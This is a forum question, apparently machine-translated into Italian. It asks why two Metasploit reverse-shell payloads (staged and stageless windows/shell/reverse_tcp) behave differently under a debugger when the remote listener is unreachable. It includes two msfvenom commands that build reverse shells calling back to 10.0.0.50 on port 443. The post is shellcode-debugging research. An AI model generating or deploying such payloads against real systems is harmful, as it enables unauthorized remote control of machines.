Differenza tra "windows / shell_reverse_tcp" e "windows / shell / reverse_tcp" Comportamento di uscita

I due payload Metasploit di cui sopra sono usati per creare una shell inversa da un sistema all'altro. La differenza tra loro è chiaramente spiegata qui link

Tuttavia, sto cercando di capire in che modo entrambi i payload agiranno se il sistema a cui stanno cercando di connettersi non è raggiungibile.

ad esempio:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=443

e

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=443

proverà a connettersi a "10.0.0.50". La domanda è come ogni carico pagherà se "10.0.0.50" non è in ascolto sulla porta "443"?

Entrambi i payload utilizzano EXITFUNC process , tuttavia, quando li eseguo all'interno di un debugger e inserisco un breakpoint nell'ultima istruzione dello shellcode, ho ottenuto risultati diversi.

Vedo che entrambi utilizzano "mswsock.dll" che tenta di connettersi al sistema remoto, una volta scaduto (il valore predefinito è 5 secondi):

• shell_reverse_tcp mostrerà "processo terminato" all'interno del debugger e EIP sta puntando a ntdll.KiFastSystemCallRet . Il punto di interruzione non verrà mai colpito
• d'altra parte shell/reverse_tcp colpirà il breakpoint alla fine dello shellcode

Note:

• Ho confermato che entrambi i payload funzionano correttamente collegandosi correttamente al sistema remoto se sono in ascolto sulla porta preconfigurata.
• shell_reverse_tcp raggiunge il punto di interruzione solo se prima era in grado di connettersi al sistema remoto. Dopo aver chiuso la shell sul sistema remoto usando exit all'interno di CMD, verrà colpito il punto di interruzione.

Qualche idea sul perché uno stia colpendo il punto di interruzione e uno non lo fa se il listener remoto non è raggiungibile?

Grazie in anticipo.